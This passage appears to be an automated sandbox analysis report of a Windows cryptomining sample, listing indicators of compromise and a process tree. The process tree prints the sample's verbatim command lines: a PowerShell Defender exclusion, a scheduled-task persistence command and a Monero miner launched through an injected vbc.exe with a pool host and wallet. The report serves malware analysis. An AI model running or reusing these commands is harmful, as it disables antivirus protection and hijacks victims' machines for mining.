pid Process 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe 2248 taskmgr.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3688 steam.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4736 wrote to memory of 3716 4736 file.exe 80 PID 4736 wrote to memory of 3716 4736 file.exe 80 PID 4736 wrote to memory of 4920 4736 file.exe 82 PID 4736 wrote to memory of 4920 4736 file.exe 82 PID 4920 wrote to memory of 4840 4920 cmd.exe 84 PID 4920 wrote to memory of 4840 4920 cmd.exe 84 PID 4920 wrote to memory of 1724 4920 cmd.exe 85 PID 4920 wrote to memory of 1724 4920 cmd.exe 85 PID 1724 wrote to memory of 1544 1724 OWT.exe 86 PID 1724 wrote to memory of 1544 1724 OWT.exe 86 PID 1724 wrote to memory of 1784 1724 OWT.exe 88 PID 1724 wrote to memory of 1784 1724 OWT.exe 88 PID 1784 wrote to memory of 820 1784 cmd.exe 90 PID 1784 wrote to memory of 820 1784 cmd.exe 90 PID 1164 wrote to memory of 3404 1164 OWT.exe 107 PID 1164 wrote to memory of 3404 1164 OWT.exe 107 PID 1164 wrote to memory of 1832 1164 OWT.exe 105 PID 1164 wrote to memory of 1832 1164 OWT.exe 105 PID 1832 wrote to memory of 5004 1832 cmd.exe 108 PID 1832 wrote to memory of 5004 1832 cmd.exe 108 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 1164 wrote to memory of 4140 1164 OWT.exe 109 PID 3032 wrote to memory of 716 3032 chrome.exe 113 PID 3032 wrote to memory of 716 3032 chrome.exe 113 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116 PID 3032 wrote to memory of 5092 3032 chrome.exe 116
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp80ED.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
PID:4840
-
-
C:\ProgramData\winrar\OWT.exe"C:\ProgramData\winrar\OWT.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1544
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"5⤵
- Creates scheduled task(s)
PID:820
-
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2248
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 452 -p 4760 -ip 47601⤵PID:384
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4760 -s 11041⤵
- Program crash
PID:4796
-
C:\ProgramData\winrar\OWT.exeC:\ProgramData\winrar\OWT.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1164 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"3⤵
- Creates scheduled task(s)
PID:5004
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3404
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4140
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3052
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff822bb4f50,0x7ff822bb4f60,0x7ff822bb4f702⤵PID:716
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1656 /prefetch:22⤵PID:5092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2012 /prefetch:82⤵PID:3476
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2300 /prefetch:82⤵PID:4744
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2784 /prefetch:12⤵PID:1508
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2776 /prefetch:12⤵PID:3924
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3772 /prefetch:12⤵PID:3028
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4456 /prefetch:82⤵PID:3880
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4604 /prefetch:82⤵PID:5076
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4732 /prefetch:82⤵PID:2004
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4928 /prefetch:82⤵PID:4604
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5024 /prefetch:82⤵PID:1972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5020 /prefetch:82⤵PID:3632
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5040 /prefetch:82⤵PID:1736
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5028 /prefetch:82⤵PID:996
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5296 /prefetch:12⤵PID:3908
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5272 /prefetch:82⤵PID:4256
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2736 /prefetch:82⤵PID:1056
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2956 /prefetch:82⤵PID:5096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1588 /prefetch:82⤵PID:2528
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1644 /prefetch:82⤵PID:2488
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2332 /prefetch:12⤵PID:1732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3156 /prefetch:12⤵PID:4668
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3144 /prefetch:82⤵PID:1348
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2900 /prefetch:12⤵PID:1752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3868 /prefetch:82⤵PID:4804
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3668 /prefetch:12⤵PID:4848
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3832 /prefetch:82⤵PID:3656
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2832 /prefetch:82⤵PID:3880
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5624 /prefetch:82⤵PID:3692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5764 /prefetch:82⤵PID:2032
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5696 /prefetch:82⤵PID:2292
-
-
C:\Users\Admin\Downloads\SteamSetup.exe"C:\Users\Admin\Downloads\SteamSetup.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
PID:740 -
C:\Program Files (x86)\Steam\bin\steamservice.exe"C:\Program Files (x86)\Steam\bin\steamservice.exe" /Install3⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4588
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3296 /prefetch:82⤵PID:1640
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2660 /prefetch:12⤵PID:1904
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:12⤵PID:4360
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5904 /prefetch:82⤵PID:3496
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3300 /prefetch:82⤵PID:4464
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5628 /prefetch:82⤵PID:4084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6004 /prefetch:12⤵PID:3804
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3872 /prefetch:12⤵PID:4960
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5956 /prefetch:22⤵PID:2276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5968 /prefetch:12⤵PID:1648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:12⤵PID:1460
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6336 /prefetch:12⤵PID:4508
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6344 /prefetch:12⤵PID:3992
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5300 /prefetch:82⤵PID:2016
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5956 /prefetch:82⤵PID:1196
-
-
